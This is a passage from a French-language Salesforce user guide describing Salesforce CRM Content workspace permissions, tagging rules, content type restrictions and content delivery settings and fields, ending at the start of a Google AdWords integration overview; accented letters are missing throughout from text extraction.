une autorisation valuateur marketing , vous pouvez inclure une description telle que value tout le contenu utilis
dans les campagnes marketing pour l'exportation ou Cet utilisateur peut consulter et commenter des documents .
3. Dans la section Autorisations, cochez les cases qui correspondent aux privilges que vous souhaitez accorder aux utilisateur
ayant cette autorisation sur l'espace de travail.
Privilge sur l'espace de travail

Description

Grer l'espace de travail

Effectuer une action dans l'espace de travail. Ce privilge

est obligatoire pour modifier le nom et la description de
l'espace de travail, pour ajouter ou pour supprimer des
membres de l'espace de travail ou pour supprimer un espace
de travail.
La cration d'un nouvel espace de travail ncessite les
autorisations utilisateur Grer Salesforce CRM Content
ou Crer des espaces de travail .

Ajouter du contenu

Publier un nouveau contenu dans l'espace de travail,

tlcharger des versions avec un nouveau contenu ou restaurer
un contenu archiv (supprim). Les auteurs de contenu

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1807

Privilge sur l'espace de travail

Description
peuvent aussi modifier des balises associes leur contenu
et archiver ou supprimer leur propre contenu.

Supprimer le contenu

Supprimer du contenu de l'espace de travail. Les auteurs

peuvent annuler la suppression de leur propre contenu
partir de la corbeille.

Prsenter du contenu

Identifier comme prsent un contenu de l'espace de

travail.

Afficher les commentaires

Lire des commentaires affichs sur un contenu de l'espace

de travail.

Ajouter des commentaires

Afficher des commentaires sur un contenu de l'espace de

travail et consulter tous les commentaires de l'espace de
travail. Les utilisateurs peuvent modifier ou supprimer leurs
propres commentaires.

Modifier les commentaires

Modifier ou supprimer des commentaires crits sur un

contenu de l'espace de travail.

Baliser le contenu

Ajouter des balises lors de la publication de contenu ou de

la modification des dtails du contenu dans l'espace de travail.

Livrer le contenu

Crer une livraison de contenu l'aide d'un fichier de l'espace

de travail.

4. Cliquez sur Enregistrer.

Suppression d'autorisations sur l'espace de travail

Autorisations utilisateur requises
Pour supprimer des autorisations sur l'espace de travail :

Grer Salesforce CRM Content

OU
Grer les autorisations de contenu

Pour supprimer une autorisation personnalise sur un espace de travail pour Salesforce CRM Content :
1. cliquez sur Configuration Personnalisation Salesforce CRM Content Autorisations sur l'espace de travail.
2. Cliquez sur Suppr en regard de l'autorisation concerne.
3. Rvisez la liste des utilisateurs affects. La page de suppression affiche tous les utilisateurs Salesforce CRM Content qui
ont t assigns l'autorisation sur l'espace de travail dans un espace de travail particulier. Si vous supprimez l'autorisation
sur l'espace de travail, l'utilisateur ne pourra plus accder cet espace de travail.
4. Cliquez sur Supprimer une autorisation pour terminer.
Pour attribuer une nouvelle autorisation sur l'espace de travail un membre de l'espace de travail, reportez-vous Affichage
et modification d'espaces de travail la page 1773.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1808

Personnalisation des paramtres de contenu

Autorisations utilisateur requises
Pour modifier les paramtres de Salesforce CRM Content :

Grer Salesforce CRM Content

Cliquez sur Configuration Personnalisation Salesforce CRM Content Paramtres pour modifier les valeurs par
dfaut de votre organisation Salesforce CRM Content :
Activer la recherche et la contribution multilingues
Si cette option est active, une liste droulante Langue une liste droulante est disponible lorsque les utilisateurs publient,
modifient ou recherchent du contenu. La liste droulante Langue contient toutes les langues prises en charge par
Salesforce.com la page 2124 :
Si un utilisateur ne choisit pas une langue de la publication du contenu, ce dernier est associ par dfaut la langue
personnelle de l'utilisateur. Si le paramtrage personnel de langue de l'utilisateur est diffrent de la langue de l'entreprise,
le contenu publi par cet utilisateur est associ la langue de l'utilisateur et non la langue de l'entreprise.
Ne pas ouvrir les PDF dans une fentre distincte
Si cette option est active, les PDF tlchargs s'ouvrent en ligne. S'il n'est pas coch, les PDF tlchargs s'ouvrent dans
une autre fentre. Pour tlcharger un fichier PDF :

Ouvrez la page dtails de contenu du document et cliquez sur Tlcharger.

Sur l'onglet Contenu, passez le curseur de la souris sur l'icne PDF et cliquez sur Tlcharger dans la fentre
contextuelle.
Sur l'onglet Contenu, cochez la case PDF et cliquez sur Tlcharger.

Activer la cration de pack de contenu

Si cette option est active, l'option Crer Pack de contenu s'affiche dans l'onglet Espaces de travail et les utilisateurs
peuvent crer des packs de contenu partir de tout document ou fichier dans leur espace de travail Salesforce CRM
Content priv ou public.
Si cette option est dsactive alors que des utilisateurs de votre organisation ont dj cr des packs de contenus, les packs
ne sont pas supprims et les utilisateurs peuvent continuer de modifier des mtadonnes telles que la description, le titre
et les champs personnaliss. Cependant, lorsque la cration de packs de contenus est dsactive, les utilisateurs ne peuvent
plus personnaliser ni modifier les packs existants. Prcisment, le bouton Cloner et personnaliser et l'option Modifier
Modifier le pack de contenu de la page de dtails du contenu ne sont pas disponibles.
Activer lassemblage de prsentation
Si cette option est active, l'option Crer Prsentation s'affiche dans l'onglet Espaces de travail et les utilisateurs
peuvent assembler des prsentations personnalises partir de fichiers PowerPoint dans leur espace de travail Salesforce
CRM Content priv ou public.
Si cette option est dsactive alors que des utilisateurs de votre organisation ont dj cr des packs de contenus, les packs
ne sont pas supprims et les utilisateurs peuvent continuer de modifier des mtadonnes telles que la description, le titre
et les champs personnaliss. Cependant, lorsque la cration de prsentations est dsactive, les utilisateurs ne peuvent
plus personnaliser ni modifier les prsentations existantes. Prcisment, le bouton Cloner et personnaliser et l'option
Modifier Modifier la prsentation de la page de dtails du contenu ne sont pas disponibles.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1809

Activer le visualiseur de documents avanc

Si cette option est active, une srie d'options avances de navigation et de personnalisation est disponible pour le
visualiseur de documents. Le visualiseur de documents permet aux utilisateurs d'afficher un document sans le tlcharger,
que ce soit une livraison de contenu envoye une piste, un prospect ou un collgue, ou un document affich en interne
dans Salesforce CRM Content. Le visualiseur de documents contient trois modes, comme suit : l'onglet Aperu de la
page de dtails de contenu (mode aperu), l'URL de livraison de contenu (mode de livraison) et le mode plein cran qui
s'affiche en cliquant sur l'option plein cran dans la page de dtails de contenu ou dans une livraison de contenu. Le
paramtre Visualiseur de documents avanc offre les capacits suivantes aux utilisateurs qui visualisent des
documents :

Outre l'utilisation des icnes de page suivante ( ), de page prcdente ( ), de premire page ( ) et de dernire
page ( ) dans la barre d'outils du document, vous pouvez parcourir les pages d'un document en cliquant avec le
bouton droit de la souris puis en slectionnant Page suivante et Page prcdente. Le menu contextuel n'est pas
disponible en mode aperu.
Vous pouvez passer directement une page en saisissant son numro puis en appuyant sur Entre. Cette option n'est
pas disponible en mode plein cran.
Dans le menu contextuel, l'option Ajuster la largeur permet d'afficher le document sur toute sa largeur et l'option
Ajuster la page permet d'afficher la page complte du document. Les icnes Ajuster la largeur ( ) et Ajuster

la page ( ) sont galement disponibles dans la barre d'outils.

Dans le menu contextuel, l'option Plein cran permet d'afficher le document en mode plein cran et l'option Quitter
de revenir au mode d'affichage initial. Les icnes Plein cran ( ) et Quitter ( ) sont galement disponibles dans la
barre d'outils.

Dans le menu contextuel, vous pouvez slectionner le Zoom avant ou le Zoom arrire. Les icnes Zoom avant ( )
et Zoom arrire ( ) sont galement disponibles dans la barre d'outils.
La barre de dfilement permet de parcourir un document sans cliquer sur les icnes Page suivante et Page prcdente.
Le dfilement continu n'est pas disponible en mode aperu ou dans les documents PowerPoint, quel que soit le mode.
Les touches flches du clavier permettent de naviguer dans les pages d'un document. Cliquez sur le visualiseur de
documents et utilisez les touches comme suit :
-

Touche flche droite : passe la diapositive suivante dans un document PowerPoint et la page suivante dans
un document PDF, Word ou Excel..
Touche flche gauche : passe la diapositive prcdente dans un document PowerPoint et la page prcdente
dans un document PDF, Word ou Excel.
Touche flche haut : passe la diapositive suivante dans un document PowerPoint et la page suivante dans un
document PDF, Word ou Excel.
Touche flche bas : passe la diapositive prcdente dans un document PowerPoint et la page prcdente dans
un document PDF, Word ou Excel.

La navigation l'aide des touches flches n'est pas disponible en mode aperu.

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Guide de l'utilisateur | Cration d'espaces de travail | 1810

Cration d'espaces de travail

Autorisations utilisateur requises
Pour crer des espaces de travail :

Grer Salesforce CRM Content

OU
Crer des espaces de travail

Pour ajouter des membres un espace de travail :

Grer Salesforce CRM Content

OU
Grer l'espace de travail doit tre coch dans votre

dfinition de l'autorisation sur l'espace de travail

Pour attribuer des membres des autorisations sur l'espace de Grer Salesforce CRM Content
travail :
OU
Grer l'espace de travail doit tre coch dans votre

dfinition de l'autorisation sur l'espace de travail

Ajouter un nouvel espace de travail dans Salesforce CRM Content comprend la cration du nom et de la description de l'espace
de travail, l'ajout de membres l'espace de travail et l'attribution d'autorisations sur l'espace de travail qui dterminent les
privilges de chaque membre au sein de l'espace de travail.
tape 1 : Cration d'un nouvel espace de travail
1.
2.
3.
4.

Cliquez sur Nouveau dans la section Mes espaces de travail de l'onglet Espaces de travail.
Entrez un nom pour l'espace de travail. Chaque espace de travail de votre entreprise doit avoir un nom unique.
Entrez ventuellement la description de l'espace de travail.
Cliquez sur le bouton Enregistrer et ajouter membres ou, si vous souhaitez ajouter des membres par la suite, cliquez sur
le bouton Enregistrer et fermer.

tape 2 : Ajout de membres un espace de travail

1. Si vous ne trouvez pas immdiatement le membre ajouter, entrez des mots-cls dans la zone de recherche, puis cliquez
sur Rechercher.
2. Slectionnez des membres dans la zone membres disponibles. Les membres peuvent comprendre des utilisateurs Salesforce
CRM Content individuels ou des groupes publics contenant des utilisateurs Salesforce CRM Content.
Conseil: Si vous devez grer un grand nombre d'utilisateurs Salesforce CRM Content, crez un groupe public et
ajoutez ce groupe un espace de travail, plutt que d'ajouter individuellement chaque utilisateur l'espace de travail.
3. Cliquez sur Ajouter pour ajouter des membres l'espace de travail.
4. Cliquez sur Suivant.

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Guide de l'utilisateur | Attribution de rgles de balisage d'espace de travail | 1811

tape 3 : Attribution d'autorisations sur l'espace de travail des membres

Slectionnez une autorisation sur l'espace de travail pour chaque utilisateur ou groupe public et cliquez sur Enregistrer. Pour
plus d'informations, reportez-vous Gestion des autorisations sur les espaces de travail la page 1804.

Attribution de rgles de balisage d'espace de travail

Autorisations utilisateur requises
Pour attribuer une rgle de balisage un espace de travail :

Grer Salesforce CRM Content

OU
Grer les espaces de travail doit tre coch dans

votre dfinition de l'autorisation sur l'espace de travail

Dans Salesforce CRM Content, les balises sont des tiquettes descriptives qui permettent de classer et d'organiser le contenu.
Les contributeurs peuvent attribuer des balises leurs fichiers, packs de contenu, documents Google ou liens Web, et permettre
ainsi tous les membres de l'espace de travail de consulter le contenu par balise. La rgle de balisage dans un espace de travail
dtermine la faon dont les contributeurs peuvent baliser le contenu ; par exemple, une rgle de balisage limit ne permet pas
aux contributeurs de crer de nouvelles balises. Les rgles de balisage de l'espace de travail sont optionnelles. Par dfaut, les
contributeurs de l'espace de travail peuvent entrer n'importe quelle balise.
Pour attribuer une rgle de balisage un espace de travail :
1. Dans l'onglet Espaces de travail, slectionnez un espace de travail dans la zone Mes espaces de travail.
2. Cliquez sur Rgles de balisage et choisissez l'une des options suivantes :
Rgle de balisage de l'espace de travail

Description

Ouvrir le balisage

Cette rgle n'impose aucune restriction au balisage. Des

contributeurs peuvent entrer n'importe quelle balise lors de
la publication ou de la modification du contenu. Bien qu'une
balise soit saisie, Salesforce CRM Content suggre
automatiquement des balises en fonction des balises utilises
rcemment par le contributeur et de la liste Balises courantes.

Balisage assist

Cette rgle permet aussi aux contributeurs d'entrer n'importe

quelle balise lors de la publication ou de la modification du
contenu, mais une liste de balises suggres est aussi propose
aux contributeurs. Si vous slectionnez Balisage assist,
l'tape suivante vous invite entrer les balises suggres que
vous souhaitez recommander aux contributeurs de l'espace
de travail.

Balisage limit

Cette rgle ncessite que les contributeurs fassent un choix

dans une liste de balises suggres. Si vous slectionnez
Balisage limit, la prochaine tape vous demande d'entrer la
liste des balises suggres.

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Guide de l'utilisateur | Restriction des types de contenus | 1812

3. Si vous choisissez Balisage assist ou Balisage limit, cliquez sur le lien pour renseigner automatiquement le champ
Balises suggres, puis modifiez, ajoutez ou supprimez des balises selon vos besoins. Si vous n'avez pas besoin de
renseigner automatiquement le champ Balises suggres, toute nouvelle balise que vous entrez dans ce champ est
ajoute la liste existante des balises suggres de l'espace de travail.
4. Cliquez sur Enregistrer.
Remarques concernant les rgles de balisage de l'espace de travail
Ouvrir le balisage est la rgle de balisage par dfaut.

Si vous publiez, partagez ou dplacez du contenu dans un espace de travail qui utilise des balises, une erreur vous sera
retourne si votre contenu comporte des balises non prises en charge.
Lorsque vous partagez du contenu partir d'un espace de travail vers un autre, la rgle de travail la plus restrictive s'applique.
Par exemple :

Lorsqu'un contenu est partag entre un espace de travail balisage limit et un espace de travail balisage assist ou
limit, vous ne pouvez choisir que des balises communes aux deux espaces de travail.
Lorsqu'un contenu est partag entre un espace de travail balisage ouvert et un espace de travail balisage limit, vous
ne pouvez choisir que des balises suggres dans l'espace de travail balisage limit.

Si une rgle de balisage limit est applique aprs que le contenu a t publi dans l'espace de travail et que le contenu
existant comporte des balises qui ne sont plus autorises par la rgle, les balises restent attribues au contenu jusqu' ce
qu'il soit modifi ou rvis. Par exemple, si le document Q3Forecast possde une balise indicateurs de march
et qu'indicateurs de march n'est pas une balise suggre selon la nouvelle rgle de balisage limit, indicateurs
de march ne sera supprime de Q3Forecast que lorsqu'un utilisateur publiera une nouvelle version du fichier ou
modifiera les balises du fichier sur la page dtails de contenu.

Restriction des types de contenus

Autorisations utilisateur requises
Pour restreindre des types de contenus :

Grer les types de contenus

OU
Grer Salesforce CRM Content

Les types de contenus sont les conteneurs de champs personnaliss dans Salesforce CRM Content ; les types de contenu
dterminent les champs disponibles pendant le processus de publication et la faon dont les champs s'affichent sur la page
dtails de contenu. Si plusieurs types de contenus sont disponibles dans un espace de travail, les utilisateurs peuvent slectionner
un type de contenu aprs avoir contribu des fichiers, des packs de contenu, des documents Google ou des liens Web. Les
administrateurs peuvent crer des types de contenus dans Configuration puis choisir les types de contenus disponibles dans
un espace de travail particulier. Les administrateurs peuvent aussi choisir le type de contenu par dfaut pour un espace de
travail.
Pour restreindre les types de contenus disponibles dans un espace de travail :
1.
2.
3.
4.

Dans l'onglet Espaces de travail, slectionnez un espace de travail dans la zone Mes espaces de travail.
Cliquez sur Types de contenu.
Vous pouvez galement modifier le type de contenu par dfaut pour l'espace de travail.
Cochez la case Limiter les types de contenus disponibles dans l'espace de travail.

Salesforce Content

Guide de l'utilisateur | Configuration des livraisons de contenu | 1813

5. Slectionnez l'une des options suivantes, ou les deux :

Permettre de lier n'importe quel type de contenu cet espace de travail : slectionnez cette

option si vous souhaitez activer le partage du contenu publi dans d'autres espaces de travail avec l'espace de travail o
vous avez restreint des types de contenus. Le contenu d'autres espaces de travail peut tre partag quel que soit les types
de contenus utiliss.
Ne pas appliquer de restrictions de type au contenu existant : slectionnez cette option si vous
ne souhaitez pas recevoir d'avertissements concernant du contenu existant dans l'espace de travail. Vous ne serez pas
alert si du contenu existant utilise des types de contenus que vous avez exclus de l'espace de travail. Cette option se
rapporte uniquement aux notifications ; le contenu existant n'est pas affect par des types de contenus limits.

6. Pour chaque type de contenu que vous souhaitez autoriser dans l'espace de travail, dplacez-le de la liste Types de contenus
disponibles la liste Types de contenus slectionns.
7. Cliquez sur Enregistrer.
Remarques sur la restriction des types de contenus

Si l'espace de travail contient dj du contenu publi, la slection de l'option Limiter les types de contenus
disponibles dans l'espace de travail dplace automatiquement tous les types de contenus utiliss par le
contenu publi dans la liste Types de contenus slectionns.
La dslection de l'option Limiter les types de contenus disponibles dans l'espace de travail
dplace automatiquement tout type de contenu de la liste Types de contenus slectionns dans la liste Types de contenus
disponibles.
Si vous restreignez des types de contenus, le type de contenu par dfaut doit tre ajout la liste Types de contenus
slectionns.
Lors de la modification de l'espace de travail de gestion d'un fichier, le type de contenu du fichier doit tre autoris dans
le nouvel espace de travail de gestion.
Lors du partage d'un fichier dans un espace de travail, le type contenu du fichier doit tre autoris dans l'espace de travail
partag, moins que l'option Permettre de lier n'importe quel type de contenu cet espace de
travail ne soit slectionne pour l'espace de travail partag.

Configuration des livraisons de contenu

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour activer les livraisons de contenu :

Personnaliser l'application

Une livraison de contenu permet de convertir aisment des documents, tels que les fichiers Microsoft PowerPoint et Word,
vers une version optimise pour le Web en vue de faciliter leur affichage. Une fois la livraison cre, vous pouvez envoyer son
URL crypte n'importe quel destinataire, notamment des pistes, des clients, des partenaires et des collgues, puis suivre le
nombre de vues ou de tlchargements du contenu. En plus du suivi, les livraisons de contenu offrent plusieurs avantages par
rapport l'envoi de fichier en pice jointe, par exemple le contrle du dlai de disponibilit de la livraison pour les visiteurs et
si un visiteur peut tlcharger un fichier ou uniquement l'afficher en ligne. Les livraisons de contenu peuvent tre cres
partir de la liste associe Livraison de contenu dans la plupart des objets Salesforce.com. Les utilisateurs de Salesforce CRM

Salesforce Content

Guide de l'utilisateur | Configuration des livraisons de contenu | 1814

Content peuvent galement crer une livraison de contenu partir de la page des dtails de contenu ou de la liste associe
Contenu associ.
Pour activer les livraisons de contenu pour votre entreprise :
1. Cliquez sur Configuration Personnaliser Livraisons de contenu Paramtres, puis slectionnez la case Activer
les livraisons de contenu. Si vous n'avez pas accs la fonctionnalit Livraison de contenu, contactez le support
client de Salesforce.com pour l'activer.
2. Choisissez une option par dfaut pour les mots de passe de livraisons de contenu. Si vous choisissez d'exiger un mot de
passe, les utilisateurs qui crent une livraison de contenu reoivent un mot de passe lors de la gnration de la livraison ;
ils doivent envoyer ce mot de passe et l'URL de la livraison aux destinataires. Les destinataires de la livraison sont invits
saisir le mot de passe lorsqu'ils cliquent sur l'URL de la livraison de contenu :

La protection par mot de passe est facultative et dsactive par dfaut : si cette option est active, les utilisateurs
peuvent choisir d'exiger un mot de passe lors de la cration d'une livraison de contenu, mais le champ Demander un
mot de passe pour accder au contenu dans l'assistant de cration de la livraison n'est pas activ par dfaut.
La protection par mot de passe est facultative et active par dfaut : si cette option est active, le champ Demander
un mot de passe pour accder au contenu dans l'assistant de cration de la livraison est activ par dfaut.
Les utilisateurs peuvent dsactiver l'option s'ils ne souhaitent pas exiger un mot de passe.
La protection par mot de passe est requise : si cette option est active, un mot de passe est gnr chaque cration
d'une livraison de contenu. Les utilisateurs ne peuvent pas ignorer la demande de mot de passe.
Remarque: Les mots de passe de livraison de contenu s'affichent avec l'URL de la livraison sa cration. Vous
ne pouvez pas accder au mot de passe dans la page de dtails de la livraison durant la dure de vie de la livraison
de contenu.

Une fois la livraison de contenu active, tous les utilisateurs doivent ajouter la liste associe Livraisons de contenu leurs
prsentations de page de pistes, de comptes, de contacts, d'opportunits, de requtes, de campagnes ou d'objets personnaliss.
Tous les utilisateurs de Salesforce CRM Content verront une option Livrer le contenu sur chaque page de dtails de contenu.
Pour des instructions dtailles relatives la cration d'une livraison de contenu, reportez-vous Cration de types de contenus
la page 1786.
Conseils de mise en uvre

Pour garantir la qualit du service, le nombre total de vues autorises de la livraison de contenu sur une priode de 24 heures
est limit 10 000. En outre, la bande passante alloue aux livraisons de contenu est limit 1 Go sur la mme priode.
Si un destinataire tente d'afficher une livraison alors que la limite est dpasse, une notification l'invite ressayer
ultrieurement. Salesforce.com peut envisager une augmentation des limites dans des cas exceptionnels. Pour plus
d'informations, contactez votre reprsentant.
Lorsque vous crez une livraison de contenu, Salesforce.com copie le fichier d'origine et en cre une nouvelle version rserve
l'affichage en ligne. Notez les informations suivantes sur les types de fichier pris en charge :
-

Les fichiers Word, Excel et PowerPoint, de Microsoft Office 97 Microsoft Office 2003, sont pris en charge pour
l'affichage en ligne
Les fichiers Adobe PDF sont pris en charge pour l'affichage en ligne
Les fichiers JPG, BMP, GIF et PNG sont pris en charge pour l'affichage en ligne
Les fichiers Word, Excel et PowerPoint, Microsoft Office 2007, ne sont pas pris en charge pour l'affichage en ligne
Tout document dont la taille dpasse 25 Mo n'est pas pris en charge pour l'affichage en ligne

Vous pouvez crer une livraison de contenu avec n'importe quel type de fichier, mais si le type n'est pas pris en charge pour
l'affichage en ligne, votre destinataire ne peut tlcharger le document que dans son format de fichier d'origine.

Salesforce Content

Guide de l'utilisateur | Configuration des livraisons de contenu | 1815

Affichez toujours un aperu de votre livraison de contenu avant d'envoyer les URL aux destinataires. L'affichage de la mise
en forme du fichier d'origine, notamment les couleurs et les polices non standard, peut parfois tre incorrect dans la version
en ligne. Si vous n'tes pas satisfait de la qualit de la version en ligne, l'assistant de livraison de contenu permet en option
de rendre votre contenu disponible en tlchargement sous son format de fichier d'origine.
Les livraisons de contenu requirent Adobe Flash version 9.0.115. Lorsqu'un destinataire ne dispose pas de cette version
de Flash installe, une option de tlchargement s'affiche.
Les utilisateurs portail client et portail partenaire ne peuvent pas crer des livraisons de contenu.
Seul le crateur d'une livraison de contenu peut supprimer l'enregistrement de la livraison ou modifier des dtails tels que
la date d'expiration.
Chaque clic sur l'URL d'une livraison de contenu est enregistr comme une vue par Salesforce.com qui fait la distinction
entre les vues internes et externes. Une vue interne est une visite d'un utilisateur Salesforce.com. Par exemple un clic sur
l'URL de livraison de la page des dtails de livraison de contenu ou sur l'option Afficher dans la liste associe Livraisons
de contenu est une vue interne. La liste associe Livraisons de contenu indique le nombre total de vues pour chaque livraison.
Ouvrez la page des dtails de livraison pour consulter des informations sur une vue spcifique.
Remarque: Pour les livraisons de contenu protges par mot de passe, une vue est enregistre ds que le destinataire
clique sur l'URL de la livraison, qu'il saisisse ou non le mot de passe et visualise ou non la livraison.

Pour supprimer un fichier Salesforce CRM Content associ une livraison de contenu, supprimez d'abord la livraison de
contenu.
Les utilisateurs de Salesforce CRM Content peuvent livrer du contenu depuis des espaces de travail partags ou un espace
de travail personnel.

Meilleures pratiques

Une fois la livraison de contenu cre, affichez toujours un aperu avant d'envoyer l'URL vos destinataires, pour vous
assurer que le formatage du fichier d'origine s'affiche correctement dans la version en ligne. Par exemple, les couleurs et
les polices non standard peuvent ne pas s'afficher correctement dans le lecteur de prvisualisation. Si la qualit de la version
en ligne ne vous convient pas, cliquez sur Prcdent, puis slectionnez la publication du contenu sous son format de fichier
d'origine ou en tant que fichier PDF uniquement. Vos destinataires pourront tlcharger le fichier et vous pourrez suivre
son tlchargement dans la page de dtails de la livraison.
Les animations et les minutages dfinis dans les fichiers PowerPoint ne sont pas pris en charge dans la version en ligne de
la livraison de contenu. De mme, les liens hypertexte dans tous les types de fichiers ne sont pas pris en charge. Pour obtenir
une liste complte des types de fichier pris en charge, reportez-vous aux conseils de mise en uvre.
Comme il est possible d'envoyer les URL de livraison de contenu des pistes, des clients et tout utilisateur non authentifi,
Salesforce recommande de demander une protection par mot de passe si les utilisateurs comptent envoyer des documents
confidentiels via une livraison de contenu. Les options ci-dessous permettent de slectionner un paramtre par dfaut
lchelle de lentreprise pour la protection par mot de passe des livraisons de contenu.
Si vous tes un utilisateur Salesforce CRM Content et si vous souhaitez que les destinataires de votre livraison de contenu
affichent toujours la dernire version d'un fichier plutt que celle disponible la date de cration de la livraison, ouvrez la
page de dtails de la livraison, puis cliquez sur Modifier. Activez la case Livraison de contenu ouvre la dernire
version.
Si vous activez Me notifier lors du premier affichage ou tlchargement, vous recevez un e-mail lors
de la premire vue de la livraison de contenu.

Implications en matire de stockage

Dans Salesforce CRM Content, le stockage de fichiers est consomm lorsque le contenu est publi dans des espaces de travail
partags ou enregistr dans un espace de travail priv. La cration de livraisons de contenu n'a aucun effet supplmentaire sur
les limites de stockage, mais les utilisateurs qui tlchargent frquemment des fichiers vers leur espace de travail personnel
pour une livraison de contenu doivent tenir compte des limites de stockage de fichiers de leur entreprise. Les administrateurs

Salesforce Content

Guide de l'utilisateur | Champs de livraisons de contenu | 1816

peuvent gnrer un rapport afin d'identifier les utilisateurs qui consomment l'espace de stockage le plus important et les fichiers
les plus volumineux.
Pour les utilisateurs qui ne disposent pas de Salesforce CRM Content, le stockage de fichiers est consomm chaque cration
d'une livraison de contenu. Une fois tlcharg vers Salesforce.com, un fichier ne peut pas tre rutilis pour plusieurs livraisons
de contenu. Pour crer plusieurs livraisons de contenu avec le mme fichier, vous devez tlcharger le fichier chaque livraison.
La suppression d'une livraison de contenu dtruit le fichier source dans Salesforce.com, ce qui augmente l'espace de stockage
de fichiers.
Pour plus d'informations sur les limites de stockage, reportez-vous Surveillance des ressources la page 218.

Champs de livraisons de contenu

Disponible avec : Toutes les ditions
Salesforce CRM Content disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Le tableau suivant prsente (par ordre alphabtique) une description des champs qui constituent une livraison de contenu. Ces
champs se situent dans l'assistant de cration de livraison, dans la liste associe Livraisons de contenu ou dans la page de dtails
de livraison.
Champ

Description

Autoriser le destinataire l'afficher dans

le navigateur

Si cette option est active, la livraison de contenu peut tre

visualise en ligne, dans une page Web personnalise. Dans
la page de dtails de la livraison, ce champ est tiquet
Autoriser laffichage dans le navigateur.

Autoriser le destinataire le tlcharger

au format .pdf

Si cette option est active, la livraison de contenu convertit les

fichiers Microsoft Word, Excel et PowerPoint en fichiers
PDF et permet au destinataire de tlcharger le PDF. Si le
fichier que vous avez tlcharg n'est pas un fichier PDF,
Word, Excel ou PowerPoint, cette option n'est pas affiche
dans l'assistant de cration de livraison. Dans la page de dtails
de la livraison, ce champ est tiquet Autoriser le
tlchargement au format .pdf.

Autoriser le tlchargement sous le format

dorigine

Si cette option est active, la livraison de contenu permet aux

destinataires de tlcharger le fichier d'origine. Dans l'assistant
de cration de livraison, ce champ est appel Autoriser le
destinataire le tlcharger au format [type
de fichier], o [type de fichier] correspond au type

du fichier d'origine (.ppt, .pdf ou .doc).

Auteur

Pour les fichiers Salesforce CRM Content, utilisateur qui a

publi le fichier (lecture seule).

Nom de livraison de contenu

Nom attribu la livraison de contenu. Par dfaut, Nom de

livraison de contenu inclut le nom du fichier et la date
de cration.

Salesforce Content

Guide de l'utilisateur | Champs de livraisons de contenu | 1817

Champ

Description

Livraison de contenu ouvre la dernire

version

Pour les fichiers Salesforce CRM Content, ce marqueur

indique que le destinataire d'une livraison de contenu affiche
la version la plus rcente d'un fichier. Par exemple, si un fichier
est mis jour entre la date de cration de la livraison et la date
du jour, un destinataire qui affiche la livraison aujourd'hui
consulte la version la plus rcente.

Livraison de contenu expire

Ce marqueur indique si l'accs la livraison de contenu expire

la date d'expiration. Dans l'assistant de cration de livraison,
ce marqueur correspond la case cocher en regard du champ
Retirer laccs au contenu dans.

Cr par

Utilisateur qui a cr la livraison de contenu, comprenant la

date et l'heure de cration (lecture seule).

Description

Pour les fichiers Salesforce CRM Content, description fournie

lors de la publication du fichier (lecture seule).

Date d'expiration

Date laquelle la livraison de contenu ne peut plus tre

affiche. Dans l'assistant de cration de livraison, correspond
la date saisie dans le champ Retirer l'accs au
contenu dans.

Fichier tlcharg

Marqueur indiquant si un fichier de la livraison de contenu a

t tlcharg. Par exemple, si une livraison de contenu inclut
des options d'affichage du contenu dans le navigateur,
tlcharger le contenu dans son format de fichier d'origine et
tlcharger le contenu en tant que fichier PDF, ce marqueur
est coch si le destinataire tlcharge le fichier d'origine ou le
fichier PDF (lecture seule).

Affichage interne

Un indicateur qui signale si un utilisateur Salesforce.com a

affich la livraison de contenu. Un affichage est considr
comme interne si l'utilisateur ouvre l'URL de livraison depuis
Salesforce.com, par exemple en cliquant sur Afficher dans la
liste associe Livraisons de contenu ou en cliquant sur l'URL
de livraison dans la page de dtails de la livraison. Si
l'utilisateur copie l'URL et la colle dans la barre d'adresse de
son navigateur, l'affichage est considr comme externe (lecture
seule).

Dernire modification par

Utilisateur qui a modifi la livraison de contenu pour la

dernire fois, comprenant la date et l'heure de modification
(lecture seule).

Dernier affichage

Date et heure auxquelles la livraison de contenu a t affiche

pour le dernire fois. Un affichage correspond un clic sur
l'URL de livraison de contenu (lecture seule).

Salesforce Content

Guide de l'utilisateur | Champs de livraisons de contenu | 1818

Champ

Description

Me notifier lors du premier affichage ou

tlchargement

Si cette option est active, l'utilisateur qui a cr la livraison

de contenu reoit une notification par e-mail lors du premier
clic sur l'URL de la livraison de contenu.

Nom du responsable

Utilisateur responsable de la livraison de contenu (lecture

seule).

Associe

Enregistrement auquel la livraison de contenu est associe,

par exemple un compte, une opportunit ou un objet
personnalis. Les utilisateurs qui disposent d'un accs de
partage l'enregistrement peuvent cliquer dessus pour afficher
des dtails supplmentaires.

Demander un mot de passe pour accder au

contenu

Si cette case est coche, le destinataire doit saisir le mot de

passe fourni pour pouvoir afficher la livraison de contenu. Le
mot de passe s'affiche dans la page de dtails de la livraison
de contenu lors de sa gnration et durant sa dure de vie.

Titre

Pour les fichiers Salesforce CRM Content, titre du fichier

inclus dans la livraison de contenu (lecture seule).

Nombre d'affichages

Nombre total d'affichages de la livraison de contenu, affichages

internes et externes compris (lecture seule).

Salesforce pour Google Adwords

Prsentation de Salesforce CRM et Google Adwords
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Google Adwords (http://adwords.google.com) est un service d'annonces en ligne utilis pour crer des annonces apparaissant
sur les principaux moteurs de recherche, y compris Google. De nombreux clients de Salesforce.com gnrent des pistes l'aide
de Google AdWords.
Salesforce CRM et Google Adwords connecte Salesforce.com Google Adwords, ce qui permet de contrler l'efficacit de
votre investissement en matire de publicit en ligne. Grce Salesforce CRM et Google Adwords, vous pouvez :

Utiliser Google AdWords comme outil de gnration de pistes

Corrler les clics sur des annonces Google avec des pistes Salesforce.com
Suivre les rsultats de campagnes Google AdWords depuis Salesforce.com
Analyser les mots-cls et les annonces qui gnrent des pistes, des opportunits de vente et des nouveaux clients.
Mesurer l'efficacit l'aide du tableau de bord Google Adwords et optimiser vos campagnes AdWords

Comment a marche ?
Utilisez Google Adwords pour crer une annonce en ligne, y compris une srie de mots-cls, qui dclenchent l'affichage de
votre annonce sur www.google.com et sur les principaux moteurs de recherche. Lorsqu'un utilisateur clique sur votre annonce
dans Google, il est dirig vers une page de destination, qui est soit une page existant sur le site Web de votre socit, soit une
